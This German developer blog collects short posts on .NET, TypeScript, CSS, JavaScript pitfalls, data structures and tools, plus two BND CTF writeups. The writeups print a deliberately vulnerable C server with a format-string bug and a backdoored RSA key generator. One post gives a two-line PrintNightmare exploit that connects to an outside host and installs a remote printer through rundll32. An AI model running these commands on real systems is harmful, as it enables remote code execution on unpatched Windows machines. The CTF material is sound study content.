Hier versucht jemand, rauszufinden, welche Wörter bei GitHubs Copilot dazu führen, dass man keine Vorschläge mehr bekommt.

Nach einer kurzen Einleitung geht’s dann auch schon los:

So it was time to apply absurd amounts of computer science to the problem. After porting the hash algorithm from Javascript to C, […]
[…]
I also started doing some amateur cryptanalysis of the hash function
[…]

Geht natürlich noch weiter!

BND-CTF: 86-GBE Message Service

Der nächste Writeup aus den BND-CTFs. Nach der Backdoor in der RSA-Schlüsselerzeugung, dieses Mal aus der Kategorie Binary Exploitation.

Das Ziel:

Exploit a binary to gain a remote shell.

Wir bekommen die server.c, sowie die auf dem Server genutzte libc.

Server-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int my_read(FILE *fd, char *buf, size_t max) {
	int read = 0;
	while (read < max && !feof(fd)) {
		int ch = getc(fd);
		if (ch == '\n') {
			break;
		} else {
			buf[read] = ch;
			read++;
		}
	}
	buf[read] = 0;

	return read;
}

char rot13(char ch) {
	if (ch >= 'a' && ch <= 'z') {
		return ((ch - 'a' + 13) % 26) + 'a';
	} else if (ch >= 'A' && ch <= 'Z') {
		return ((ch - 'A' + 13) % 26) + 'A';
	} else if (ch >= '0' && ch <= '9') {
		return ((ch - '0' + 5) % 10) + '0';
	} else {
		return ch;
	}
}

int main(int argc, char** argv) {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	char inp[0x100];
	char cc;

	puts("Welcome to our 86-GBE service!");
	puts("Enter your message and press return.");
	puts("Enter quit to exit.");

	unsigned char len;
	for (;;) {
		len = my_read(stdin, inp, sizeof (inp) - 1);
		if (strcmp(inp, "quit") == 0) {
			exit(0);
		}

		for (int i = 0; i < len; i++) {
			inp[i] = rot13(inp[i]);
		}

		for (int i = 0; i < len / 2; i++) {
			cc = inp[i];
			inp[i] = inp[len -i -1];
			inp[len - i - 1] = cc;
		}

		printf(inp);
		putc('\n', stdout);
	}

	exit(0);
}

Nehmt Euch am Besten etwas Zeit, um den Code erstmal anzuschauen.

Falls Ihr das nachstellen wollt, die Sha1-Hashes der beiden Shared-Objects und der bereitgestellten server-Executable sind:

  • bnd
  • ctf
  • writeup

File IO improvements in .NET 6.

Also ich weiß ja nicht, was der Fall ist. Entweder war .NET vorher im Vergleich derbe langsam, oder jetzt, wo es open source ist, kommen da viele Wunderkinder aus den Ecken und optimieren an jeder Stelle, was das Zeug hält. Wie auch immer die solche Performanceverbesserungen aus dem Hut zaubern.

Vielleicht sind es aber auch die Low-Level-Features, die C# seit neustem eins nach dem Anderen dazubekommt, was dazu führt, dass man jetzt solche Optimierungen machen kann. War eigentlich kein Fan davon, weil es in Zukunft immer mehr Wege gibt, Dinge zu tun. Aber ich kann schon verstehen, warum man das will, wenn man damit solche Verbesserungen herzaubern kann.

Interessant ist auch die neue “Thread-Safe File IO”:

We recognized the need for thread-safe File IO. To make this possible, stateless and offset-based APIs have been introduced in #53669 which was part of .NET 6 Preview 7:

An einigen Stellen scheinen sie jetzt auch “am Betriebssystem vorbei” zu gehen (siehe Anmerkung über den File-Offset).

  • dotnet

How-to API nicht designen: String.split(String pattern) schneidet per default leere Strings am Ende des Ergebnis-Arrays weg (und nur da):

var arr = "a.b.".split("\\."); // ["a", "b"]

Dieses Verhalten alleine produziert schon Bugs (tatsächlich habe ich dadruch einen gefunden, der seit ~3 Jahren unbemerkt war).

Es wird aber noch besser! Wenn man das nicht will, also wenn man will, dass es sich so wie in jeder anderen Sprache verhält, muss man eine Überladung verwenden, die einen limit-Parameter hat. Warum limit? Na das ist die maximale Anzahl an Tokens für einen Match:

If n is non-positive then the pattern will be applied as many times as possible and the array can have any length. If n is zero [Anm. d. Red.: default] then the pattern will be applied as many times as possible, the array can have any length, and trailing empty strings will be discarded.

Das intuitive Verhalten wäre also:

var arr = "a.b.".split("\\.", -1); // ["a", "b", ""]
  • java
  • api-design

Heute kam ein neues Proposal für CSS: Nesting Module. Wenn ich das richtig lese, kann man Selektoren ineinander verschachteln, ähnlich, wie man es bei SCSS auch macht:

This module introduces the ability to nest one style rule inside another, with the selector of the child rule relative to the selector of the parent rule. This increases the modularity and maintainability of CSS stylesheets.

Die verlinkten Beispiele sehen auch danach aus, als hätten sie einfach direkt SCSS genommen.

  • css

BND-CTF: RSA Key Generation

Der BND hat mal wieder einen öffentlichen Einstellungstest, dem wir uns erfreuen dürfen. Ideal, um sich mal etwas in CTF-Writeups zu probieren!

Aus der Kategorie Cryptography schauen wir uns mal die (einzige) Challenge an: Analysieren einer Backdoor in einem RSA-Schlüsselerzeugungsalgorithmus.

Folgender Code wurde uns bereitgestellt:

SageMath-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
### Excerpt from utils.py (used to encode / decode the message)
def encode(msg):
    """
    Convert a message to a number.

    Example:
    >>> hex(encode(b'ABCD'))
    '0x41424344'
    """
    return int.from_bytes(msg, byteorder='big')


def decode(msg):
    """
    Convert a number back to a message.

    Example:
    >>> decode(0x41424344)
    b'ABCD'
    """
    return int(msg).to_bytes(length=len(hex(msg))//2-1, byteorder='big')

### Excerpt from RSA.py
x = 0xbb31781a2436fd6833597b61f91b94fba8cc5be702c7084de28625d96823102daf48dd84244fe41d180452a900388d1666ff59981f0912c6640977684c20bcfdcbf365dfcb68c0c5a9fd02576134a0e94ab9e20bbacffb4df5c9c27ae7f5022f6609aefeb9f5249387925ad13ce80a13

def rsa_keygen():
    def a(x, y):
        z = 1
        while True:
            if is_prime(x*z + y):
                return x*z + y
            z += 1

    p = a(x, random_prime(2^128, None, 2^127))
    q = a(x, random_prime(2^128, None, 2^127))

    N = p * q
    e = 65537

    d = inverse_mod(e, (p-1) * (q-1))

    return e, d, N

def rsa_crypt(m, k, n):
    return lift(Mod(m, n) ^ k)

(wer kein SageMath installiert hat, kann diese Online-Version verwenden)

Zu dem Code haben wir folgende Zahlen enthalten, die wir entschlüsseln sollen:

  • bnd
  • ctf
  • writeup

Datenstrukturdienstag:
Letzte Woche gab’s den Bloom-Filter, diese Woche muss man dann wohl den Cuckoo-Filter erwähnen.

Großer Unterschied (IMHO): Man kann auch Einträge wieder löschen.

  • datenstrukturen
  • probabilistisch

Hier ein Exploit für die Printer-Nightmare-Geschichte, die aktuell noch nicht gefixt ist.

Besteht aus zwei Zeilen:

net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password
rundll32 printui.dll,PrintUIEntry /in /n"\\printnightmare.gentilkiwi.com\Kiwi Legit Printer"

Natürlich macht der verwendete Drucker dort sicherlich auch noch was. Aber ist schon cool, dass das einfach ein ein zwei-Zeilen-Batch-Skript passt.

Hier hat Julia Evans Muster aufgeschrieben, der er seiner Meinung nach in schlechten/verwirrenden Erklärungen häufig findet.

HN ist dazu auch empfehlenswert. Hier einige Dinge, die mir auch auffallen:

Another pattern I usually encounter is explaining the how but not the why. […]

Whenever I see a “how-but-not-why” article I assume that the author doesn’t understand the “why” part yet… they’ve likely just rote-learned the “how” part and are regurgitating it. […]

Wo wir gerade bei Datenbanken waren - Ihr kennt sicher Discord. Heute stolperte ich über einen Artikel der Discord-Leute aus dem Jahr 2017, wo sie ihre Migration von MongoDB auf Cassandra beschreiben. Also mit technischen Requirements und Begründungen etc., wie man das machen sollte. Der Artikel beshreibt ganz gut und geht auch darauf ein, was man bei Cassandra beachten sollte.

Wer bei Cassandra an “Ressourcenfressende Java-Datenbank” denkt, mag vielleicht nicht ganz falsch liegen. 2020 migrierten sie dann auf ScyllaDB, einem Cassandra-kompatiblen Drop-in-Replacement, geschrieben in C++.

Kennt Ihr FastAPI? Das ist ein relativ einfaches Python-Framework, mit dem man ganz gut mal ne (REST-)APIs bauen kann. Ist auch relativ schnell, also im Vergleich zu Django und Flask.

Derselbe Mensch hat jetzt eine SQL_API rausgebracht: SQLModel. Verwendet - wie FastAPI auch - Pydantic zur Validierung und SQLAlchemy um mit der Datenbank zu reden. Der Autor hat es auch auf HN gepostet.

Sieht ganz cool aus, könnte man mal ausprobieren. Funktioniert natürlich auch mit SQLite. :)

  • python

Ihr kennt sicher Elasticsearch. Wenn Ihr es nicht selbst schon eingesetzt habt, kennt ihr es vielleicht, weil das gerne offen im Netz hängen gelassen wird oder weil Amazon das aus lizenztechnischen Gründen geforkt hat.

Ist eine Datenbank, die spezialisiert auf Suche ist (ok, da hätte man drauf kommen können). Da es aber in Java geschrieben ist und auch schon ein bisschen existiert, ist es eher relativ dicke Software, die vieles kann und auch viel Ressourcen verbraucht, letztendlich auch wegen Java. Ich kenne Software-Stacks, in denen das zur Auswertung der Logs verwendet wird. Dort kommt es dann nicht selten vor, dass der Elasticsearch-Logging-Stack mehr Ressourcen verbraucht, als die eigentliche Anwendung.

Ich komme darauf, weil gerade Version 0.21.0 von MeiliSearch freigegeben wurde.
Das ist auch eine Datenbank, die spezialisiert auf Suche ist, allerdings in Rust geschrieben (ja, ich weiß, “alles ist besser in Rust” ist ein alter Hut etc.).

Diese Software habe ich schon halb-produktiv verwendet und bin positiv beeindruckt. Sie ist recht einfach aufgebaut, die API ist super straight-forward, genau wie das Rechtesystem. Die Dokumentation ist m. E. n. super gut dafür, dass es Pre-1.0-Software ist. Deployen kann man das Ganze zur Not auch ohne Container, da das gesamte Teil eine einzige Binary ist, die man auch mit einem einfachen git clone und cargo build selbst bauen kann.
Die API-Endpunkte sind dafür gebaut, dass man sie direkt von einem Web-Frontend aus ansprechen kann, ohne Backend-Logik dazwischen.

Vom Funktionsumfang ist das natürlich nicht mit einem Elasticsearch vergleichbar. Es ist ja auch noch Pre-1.0-Software. Die Use-Cases überschneiden sich wahrscheinlich auch nur teilweise, weil MeiliSearch aktuell primär für “Search-as-you-Type”-Sachen gemacht ist.

Neben Elasticsearch und MeiliSearch gibt es natürlich auch noch andere Alternativen. Was ich mit diesem Post auf jeden Fall sagen will: Es muss nicht immer Elasticsearch sein und die Altenrativen kennen viele nicht.

Datenstrukturdienstag:
Eine meiner lieblings-Strukturen, der Bloom-Filter.

Eine wichtige Eigenschaft eines Bloom-Filters ist die False-Positive-Rate. Das ist die Wahrscheinlichkeit für False-Positives. Zu dieser Wahrscheinlichkeit gab es 30 Jahre später noch eine neue Formel, da die ursprüngliche wohl fehlerhaft war. Hier ist ein Writeup dazu. Hier ist noch ein Paper dazu.

Was man in der Praxis für Probleme mit einem Bloom-Filter haben kann, hat Cloudflare mal aufgeschrieben.

  • datenstrukturen
  • probabilistisch

Eine relativ unbekannte Firma, die aber im Prinzip das Monopol auf Maschinen für moderne Halbleiterfertigung hat: ASML
Intel, Samsung und TSMC sind große Kunden von denen.

Hier ein Video über das, was sie so machen. Schaut Euch das mal an. Das Level von Engineering, was die da betreiben, ist einfach komplett absurd.
Aus einer Jobbeschreibung:

Imagine perfecting an optical system where aberrations are kept to within one thousandth of the wavelength of light used.
In this optical system, 200 kg reflectors need to be positioned to within an accuracy of less than a nanometer, and then repositioned every second to compensate for millikelvin fluctuations.

Wikipedia dazu

Aus der “Bekannte Blogposts”-Serie: What Color is Your Function?

Man stelle sich vor, Programmiersprachen haben zwei Arten von Funktionen: Rote und Blaue. Dazu kommen Regeln, wie man sie kombinieren kann.
Am Ende sieht man, worum es eigentlich geht. Haben wir sicherlich alle schon einmal benutzt.

Bei Apples CSAM war schon recht schnell klar, dass es kaputt ist (mal von der Frage abgesehen, ob man das überhaupt haben will).
Ich dachte, das hat sich mit dieser einen Kollision (bzw. 2nd-Pre-Image-Attack) und eigentlich muss man da nicht weiter drauf rum hauen. Dann wurde es ganz schnell noch kaputter und jetzt gibt es ein CLI-Tool, das diesen Angriff super easy fährt.

Gut, dachte ich, das wird es jetzt aber definitiv gewesen sein; kaputter geht nicht. Wohl doch. Jetzt kann man glaub ich aber auch echt aufhören, da gibt’s nichts mehr zu holen.

In CSS gibt es die Property will-change, mit dem man dem Browser sagen kann, dass sich andere CSS-Propertys ändern werden und er das schon mal voroptimieren kann.

Abundzu muss man aus einem größeren Zahlenraum auf einen kleineren mappen, z. B. auf den Index eines Arrays. Da sieht man häufig eine Konstruktion mit Modulo: arr[i % n] (wobei n die Länge des Arrays ist).
Für manche ist Modulo zu langsam. In dem Fall kann man diesen Hack anwenden. Aber Achtung, macht nicht das gleiche wie Modulo. Aber verteilt trotzdem auf die Range, die man haben will (ob das wir Modulo bei Zufallswerten auch einen Bias einführt, steht da glaub ich aber nicht).

Ich finde einige Datenstrukturen echt interessant. Immer wieder schön zu sehen, welche Hacks sich überlegt wurden. Vielleicht braucht es ja einen Datenstruktur-Dienstag?

Den Anfang macht…

…die klassische Hash-Table

  • datenstrukturen

MS hat hier zusammengetragen, was es für Performanceverbesserungen in .NET 6 gibt.

Insgesamt echt beeindruckend, alleine schon das Volumen des Posts. Habe jetzt nicht alles einzeln gelesen, nur grob überflogen. Eine Sache ist mir aber aufgefallen:

Most of the Math methods can now participate in constant folding, so if their inputs end up as constants for whatever reason, the results can become constants as well
[…]
dotnet/runtime#42831 from @nathan-moore ensured that the Length of an array created from a constant could be propagated as a constant.
[…]
[…]
dotnet/runtime#55745, which enables the JIT to fold TimeSpan.FromSeconds(constant) (and other such From methods) into a single instruction.

Nice!
Offenbar ist die Compilerinfrastruktur bei .NET jetzt so gut, dass solche Verbesserungen von random GitHub-Leuten eingereicht werden können.

Ich habe vor einier Zeit mal den Vorschlag gemacht, CTFE in C# zu machen. Das ist jetzt definitiv obsolet. Nahezu jedes Beispiel aus dem Proposal wird jetzt vom Constant-Folding optimiert (was ich auch für den besseren Ansatz halte).

Die verbleibenden Use-Cases könnten von generischen Const-Parametern abgefertigt werden. In meinem Proposal werden auch const structs angedeutet (also structs, die zur Compile-Time schon einen Wert haben und sich nicht mehr ändern). Da gibt es auch ein separates Proposal zu. Der Vorteil davon wäre, dass man z. B. DateTimes als “richtige” Konstante haben kann (nicht nur als Shared-Readonly) und es eigentlich keinen Grund gibt, das nicht zu tun, weil das intern auch nur ein Int64 und sonst immutable ist.

Intel möchte bald dedizierte GPUs rausbringen.

Auf HN scheinen sich viele darüber zu freuen, sowohl für Intel als auch für sich selbst. Vorranging wohl wegen der aktuellen GPU-Knappheit. Ich hab jetzt nicht so tolle Erfahrungen mit Intel-Grafik, aber in dem Thread berichten viele von guten Linux-Treibern, was im Vergleich zu Nvidia wohl auch noch ein guter Punkt wäre.

Spannend!

If you set your http proxy to be theoldnet.com port 1997, and (important!) add an exclusion for web.archive.org, then you can browse the entire web from 1997.
You can also change the port number to your preferred year. This is really fun on retro systems / web browsers.

Wer es probieren möchte: https://theoldnet.com/docs/httpproxy/index.html

Ich mag ja coole und vorallem verrückte Ideen für Programmiersprachen.

Hier ist eine für Musik, hier ein Tutorial.

Codeausschnitt:

trumpet:  (tempo 200) o4 c8 d e f g a b > c4.
trombone: o3 e8 f g a b > c d e4.

TypeScript 4.4 ist da (als RC). Die Neuerungen sind im Prinzip gleich zu der Beta.

Im Vergleich zur Beta ist vorallem neu, dass es jetzt einen static-Initializer gibt, der aus einem ES-Proposal kommt.

Wer es nicht kennt, das ist quasi ein Konstruktor für die statischen Elemente einer Klasse. Gibt es mit derselben Syntax auch in C# und Java. Bei C# heißt das Class Construtor (cctor, Erklärung):

class C {
  static x = ...;
  static y;
  static z;

  static {
    try {
      const obj = doSomethingWith(this.x);
      this.y = obj.y;
      this.z = obj.z;
    }
    catch {
      this.y = ...;
      this.z = ...;
    }
  }
}

(this zeigt im statischen Kontext auf die Klasse, nicht auf eine Instanz)

Gerade ist eine neue .NET-Preview veröffentlich worden. Bis auf ein paar Library-Neuerungen ist vorallem eines neu: Statische Interface-Member.

Damit kann man diverse Patterns, wie z. B. Parse + TryParse jetzt als Interface-Methoden definieren (das ging vorher nicht, weil die beiden Methoden statisch sind und Interfaces auf Instanzmethoden beschränkt waren). Jetzt geht das.

Damit lässt sich jetzt sehr viel machen, z. B. mathematische Operatoren über generische Interfaces zu definieren. Dann kann einer Library egal sein, welchen Typ man reinwirft, hauptsache er “kann Addition” (überladene Operatoren sind auch statische Methoden, deshalb ging das bisher nicht). Natürlich gehen auch Vergleichsoperatoren, die bisher über das IComparable<T>-Interface liefen.

Wenn man da jetzt die Mathematiker drauf lässt, bekommt man sicher ganz viele Gruppen, Monoiden, Ringe, Körper und noch ganz andere viele Dinge. Ich hoffe, dass der JIT damit ordentlich umgehen kann.
Bei den Gleichheitsoperatoren fällt mir jetzt auf, dass sie nicht zwischen Partieller Gleichheit und totaler Gleichheit unterscheiden, wie Rust das macht. Generell wirkt es etwas, wie Concepts aus C++. Vielleicht ein bisschen weniger mächtig.

dns.google ist nicht nur die Domain des Anfragen-trackenden DNS-Servers von Google (die berühmten vier achten). Die haben eine praktische GUI, mit der man mal eine Test-Anfrage machen kann.

Wer nicht weiß, welchen DNS-Server man als Upstream verwenden könnte, wenn nicht Google, Cloudflare, etc.: digitalcourage hat da welche.

Mit window.find (achtung, Non-Standard) kann man Strings im Fenster der Webseite finden.

Git hat 2 eher weniger bekannte Commands: switch und restore. Machen beide ein bisschen das, was man sonst mit checkout gemacht hat.

Die Beta von TypeScript 4.4 wurde gerade veröffentlicht. Sind ein paar schöne Neuerungen dabei. Vorallem die verbesserte Kontrollflussanalyse.
Mal schauen, was aus Inlay Hints wird. Die gibt’s ja schon länger bei IntelliJ für Java (und vermutlich auch andere von denen supportete Sprachen). In der Preview sieht das noch sehr noisy aus.

Node.js hat eine API für einen asynchronen LocalStorage bekommen. Mal schauen, was es für coole Use-Cases es für den asyncLocalStorage gibt. Erinnert ein bisschen an Reacts useContext().

Mit dem itemprop-Attribut kann man seinem HTML noch mehr Semantik geben. Auszu aus MDN:

<div itemscope itemtype="http://schema.org/Movie">
	<h1 itemprop="name">Avatar</h1>
	<span>
		Director:
		<span itemprop="director">James Cameron</span>
		(born August 16, 1954)
	</span>
	<span itemprop="genre">Science fiction</span>
	<a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">Trailer</a>
</div>

Auf MDN gibt’s noch um einiges mehr Beispiele. U. A. auch das meter-Element, um z. B. Bewertungen darzustellen:

	<meter itemprop="ratingValue" min=0 value=3.5 max=5>Rated 3.5/5</meter>

Warum heißt es eigentlich “Datenvolumen”? Warum sind Daten ein Rauminhalt?

Warum keine Länge oder Fläche? Oder eine ganz andere Basiseinheit, wie “Datenmenge” oder “Datenmasse”?

Einer meiner Lieblings-Youtuber, Ben Eater, hat gerade ein neues Video hochgeladen: How does a USB keyboard work?

Ich habs noch nicht gesehen, kann aber jetzt schon sagen, dass es sich lohnt. In seinem Kanal baut+erklärt er diverse Dinge auf einem Breadboard. Z. B. einen 8-Bit-Prozessor, eine VGA-Ansteuerung und eine PS2-Tastatur-Ansteuerung. Er baut das nicht einfach so, sondern zeigt auch, wie man das an einen Prozessor anbindet (dem 6502). Wenn man also seinen Videos folgt, kann man schon einen Computer mit Tastatur und Bildschirm(en) auf einem Breadboard bauen… und jetzt kommt die erste USB-Peripherie!

Ein weiterer Blogpost, den viele kennen: PHP: a fractal of bad design

Ist auch schon etwas älter (2012). In der Zeit hat sich fairerweise auch schon viel getan. Das meiste ist aber irreversibel in der Sprache verankert.
Versteht mich nicht falsch, ich will hier ein sinnloses PHP-gebashe betreiben. Man kann PHP durchaus für Dinge verwenden. Es ist halt eine von vielen möglichen Lösungen.

Gerade hat Microsoft ihre Entwicklerkonferenz BUILD. Da kam jetzt auch eine neue Preview-Version von .NET 6 raus. Hier gibt es einen Artikel über die Neuerungen. Viel cooles dabei. Am meisten freuen mich die neuen Funktionen in der LINQ.

Warum ich überhaupt auf den DOOM-Post gekommen bin: Es gibt auch ein CAPTCHA, in dem man in einem fake-DOOM mindestens 4 Gegner treffen muss. Ist natürlich nicht das “echte” DOOM. Aber möglich wäre das sicherlich über WebAssembly und WebGL. Und bei der durchschnittgröße einer Webseite heutzutage würde es vermutlich nicht mal auffallen, wenn man das komplette DOOM nur für das CAPTCHA lädt.

Es gibt ja so diverse Blogposts, die man als Internetmensch normalerweise mal gesehen hat. Ich fage hier mal eine Serie an.

Der Anfang ist: The Web is Doom aus 2016. Grundaussage: Die durchschenittliche Webseite ist heute (also das Heute von 2016) größer als das erste DOOM, dem 2.5D-Shooter.

Mittlerweile kann jeder nennenswerte Browser das backdrop-filter-Attribut in CSS.
Damit kann man diverse Filter auf das anwenden, was hinter einem HTML-Element liegt. Z. B. einen Weichzeichner, Graustufen, Sepia etc.

Früher war das immer kompliziert, wenn Leute Aero-Effekt von Vista nachbauen wollten; jetzt geht das mit einer CSS-Eigenschaft.

Falls Ihr Node.js/JavaScript und Promises verwendet: Diesen Talk solltet Ihr gesehen haben. Schickt ihn am besten auch an Eure Kollegen. Prämisse: Ihr benutzt wahrscheinlich Promises falsch. Kann man auch auf 1.25-facher Geschwindigkeit schauen.

Ein interessanter Ansatz für Shell-Skripte. Das ist JavaScript, aber mit einigen Default-Imports und npm-Paketen. Die Demos sehen interessant aus:

#!/usr/bin/env zx

await $`cat package.json | grep name`

let branch = await $`git branch --show-current`
await $`dep deploy --branch=${branch}`

await Promise.all([
  $`sleep 1; echo 1`,
  $`sleep 2; echo 2`,
  $`sleep 3; echo 3`,
])

let name = 'foo bar'
await $`mkdir /tmp/${name}`

Das Temporal-Proposal ist neulich in Stage 3 gelandet. Das ist eine neue Zeit-API für JavaScript, mit der man endlich Date, moment.js etc. wegwerfen kann.

Hier eine schnelle Übersicht. Wesentlich ist die Unterscheidung zwischen einem “Datum”/”Datum+Zeit” und einem “Instant”. Das letztere kennen viele vielleicht als Konzept aus Jodatime/Nodatime und ist eigentlich fast immer das, was man will, wenn man mit Timestamps arbeitet.

Zusammen mit den APIs Intl.DateTimeFormat und Intl.RelativeTimeFormat braucht man jetzt eigentlich keine Librarys mehr für irgendwelche Dinge mit Zeit. Die gesamte Intl-API ist übrigens einen Blick wert. Da sind auch so Sachen wie Zahlenformatierung und Plural-Regeln.

parseInt ist in JavaScript so ein Ding. Nicht nur, dass der zweite Parameter die Basis angibt und es damit unnütz für Operationen wie .map wird1. Nein, auch, wenn das zu parsende bereits eine Zahl ist, gibt’s Probleme!

Nehmen wir dieses schöne Beispiel und versucht rauszubekommen, was das Ergebnis für jede Zeile ist:

parseInt(0.5);
parseInt(0.05);
parseInt(0.005);
parseInt(0.0005);
parseInt(0.00005);
parseInt(0.000005);
parseInt(0.0000005);

Richtig, alle Zeilen bis auf die letzte geben 0 zurück. Und die letzte? Die wird zu 5.
Hier die Erklärung, wie das zustande kommt. tl;dr: 0.0000005.toString() ist "5e-7", welches bis zum e geparst wird. Die davor sind 0, weil 0.000005.toString() zum String "0.000005" wird (und der Parser korrekterweise den Integer 0 daraus macht). Das verursacht aktuell bestimmt schon viele Bugs und wär’ bestimmt auch ein cooler Aufhänger für ein Node.js-CTF!

Als Alternative zu parseInt könnte man jetzt so Konstrukte wie Number(0.0000005) | 0 ranziehen. Vielleicht hat das aber auch wieder seine Fallstricke?

1: Zugegebenermaßen ist es aber auch sinnvoll, die Basis zum Parsen mit angeben zu können.

Ich immer, mit meinem SQLite. Hier hat jemand etwas echt cooles gebaut: Eine SQLite-Datei, statisch gehostet. Der JS-Client kann an diese Anfragen schicken. Ein Wrapper um das Client-Dateisystem fragt Seiten erst an, wenn der SQLite-Client sie lesen will.

Warum ist das cool? Man kann damit eine komplett statisch gehostete Suchfunktion für statische Seiten bauen, bei dem die SQLite-DB bei jedem Page-Build frisch gebaut wird. Oder bequem Datensätze an den Client ausliefern, ohne ein Backend zu haben.
Da gibt’s sicher noch einige Anwendungsfälle mehr!

Mit apt-file kann man in APT-Paketen nach einer datei suchen. Das ist praktisch, wenn man mal wieder ein Latex-Dokument kompilieren will und irgendein Package fehlt und man nicht weiß, welches man dafür installieren muss.

Konkretes Beispiel: listings.sty wird nicht gefunden.

$ apt-file search listings.sty
latexml: /usr/share/perl5/LaTeXML/Package/listings.sty.ltxml
texlive-extra-utils: /usr/share/texlive/texmf-dist/tex/latex/checklistings/checklistings.sty
texlive-lang-japanese: /usr/share/texlive/texmf-dist/tex/luatex/luatexja/patches/lltjp-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/cnltx/cnltx-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/exsheets/exsheets-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/filehook/filehook-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/listings/listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/lwarp/lwarp-listings.sty
texlive-publishers: /usr/share/texlive/texmf-dist/tex/latex/hagenberg-thesis/hgblistings.sty
texlive-xetex: /usr/share/texlive/texmf-dist/tex/xelatex/xecjk/xeCJK-listings.sty

War in diesem Fall dann wohl texlive-latex-recommended.

Ihr kennt sicherlich <input type="email> und so weiter. Wenn einem das nicht reicht, kann man input-Felder auch mit RegEx-Patterns validieren:

<input
    type="text"
    name="country_code"
    pattern="[A-Za-z]{3}"
    title="Three letter country code"
>

(W3Schools dazu)

Bin gerade auf diese Seite zum Generieren von Mock-Daten gestoßen:

https://mockaroo.com

Sieht cool aus. Sind aber kommerziell - vielleicht gibt’s auch FOSS-CLI-Tool-Alternariven?

Wir hatten ja gerade Event-Listener-APIs. Da gibt’s noch mehr:

Will man viele Handler auf einmal entfernen, kann man das auch über einen AbortController machen:

const controller = new AbortController();

element1.addEventListener("click", () => {}, {
    signal: controller.signal,
});
element2.addEventListener("click", () => {}, {
    signal: controller.signal,
});
element3.addEventListener("click", () => {}, {
    signal: controller.signal,
});

// Alle Handler entfernen
controller.abort();

Was mir an der Lösung so schön gefällt, ist, dass man kein removeEventListener braucht. Genauer gesagt: Man muss die Lamdas nicht in Variablen auslagern, damit man sie dann removeEventListener wieder übergeben kann.

Der AbortController ist sowas ähnliches wie die CancellationTokenSource und das AbortSignal sowas wie das CancellationToken aus .NET.

Man kann den AbortController auch nutzen, um einen fetch-Request abzubrechen:

fetch(url, {
    signal: controller.signal,
});

Besonders toll finde ich, dass man damit mehrere Aktionen gleichzeitig abbrechen kann.

Leider ist das ganze API-spezifisch. Also man kann nicht generell Promises damit abbrechen. Dafür gab es mal ein Proposal und ein wenig später noch eins, das auch nicht mehr so aktiv ist.

MDN-links:

Wer öfters mit Node.js und im Browser arbeitet, der wird on() bei Node.js und addEventListener() im Browser kennen.

Oft möchte man aber nur ein einziges Mal auf ein Event reagieren. Bei Node.js gibt es dafür once(). Verhält sich wie on(), wird aber nur ein Mal aufgerufen.

Bisher dachte ich, dass man das bei addEventListener() immer manuell amchen musste. Es geht aber so:

element.addEventListener("click", () => {}, {
    once: true,
});

MDN dazu

Mit console.group kann man (auf-/einklappbare) Abschnitte in der JS-Konsole erzeugen. Die können auch durchaus verschachtelt sein:

console.log("This is the outer level");
console.group();
console.log("Level 2");
console.group();
console.log("Level 3");
console.warn("More of level 3");
console.groupEnd();
console.log("Back to level 2");
console.groupEnd();
console.log("Back to the outer level");

MDN dazu

Man kann in mit JS ohne jQuery ein Element “smooth” in den sichtbaren Bereich scrollen:

el.scrollIntoView({
    behavior: "smooth",
});

Man kann zu html-anchor auch ohne JS scrollen, mit CSS:

html {
    scroll-behavior: smooth;
}

Dann im HTML:

<a href="#tolle-ueberschrift">Klick hier</a>
<h1 id="tolle-ueberschrift">Es folgt ein toller Artikel...</h1>

MDN dazu, CanIUse dazu

Wer Probleme damit hat, dass auf mobilgeräten mit Touchscreen manchmal Dinge gescrollt werden, die eigentlich nicht gescrollt werden sollten, den rettet vielleicht die overscroll-behavior-Eigenschaft.

Es gibt einen dialog-Tag für Modals und sonstige interaktive Komponenten.

Hatte neulich Tools verlinkt, mit denen man auf Dateiinhalte Querys absetzen kann.

Heute springt mit das Tool fselect entgegen. Da kann man SQL-like Abfragen auf das Dateisystem machen, um z. B. eine Datei zu finden. Falls man nicht so fluent in find ist.

Beispiele aus der README:

fselect "name from /tmp where (name = *.tmp and size = 0) or (name = *.cfg and size > 1000000)"
fselect "LOWER(name), UPPER(name), LENGTH(name), YEAR(modified) from /home/user/Downloads"
fselect size, path from /home/user where name = '*.cfg' or name = '*.tmp'
fselect size, abspath from ./tmp where size gt 2g
  • tools

Die FSF sagt übrigens, wenn in deiner Lizenz “The Software shall be used for Good, not Evil.” steht, verletzt das “freedom 0” und macht somit die ganze Lizenz Non-Free.

In dem StackOverflow-Post hatte jemand gefragt, warum plötzlich sein PHP nicht mehr JSON deserialisieren kann. Manche Distributionen haben php*-json rausgenommen, weil es keine freie Lizenz (nach FSF) hat.

Cooler Hack: Git als NoSql-Datenbank.

Dabei habe ich auch gelernt, dass man sich den Inhalt einer Datei in einem bestimmten Branch mit git show <branch>:<dateipfad> anzeigen lassen kann.

Falls Ihr Duplikate (bitweise identisch) löschen wollt: rmlint ist ein tolles Tool dafür.

Löscht nicht direkt, generiert nur ein Shell-Skript mit dem man dann die Löschung vornimmt. Hat auch diverse Optionen. Z. B. kann man statt Löschen auch einen Sym- oder Hardlink erstellen. Verwende ich bei meinen Readonly-Backups, um etwas Platz zu sparen.

Wer experimentiertfreudig ist, kann das mit dem Hardlinks ja auch mal auf einem node_modules ausprobieren.
Die npm-Alternative pnpm fährt einen Symlink-Ansatz.

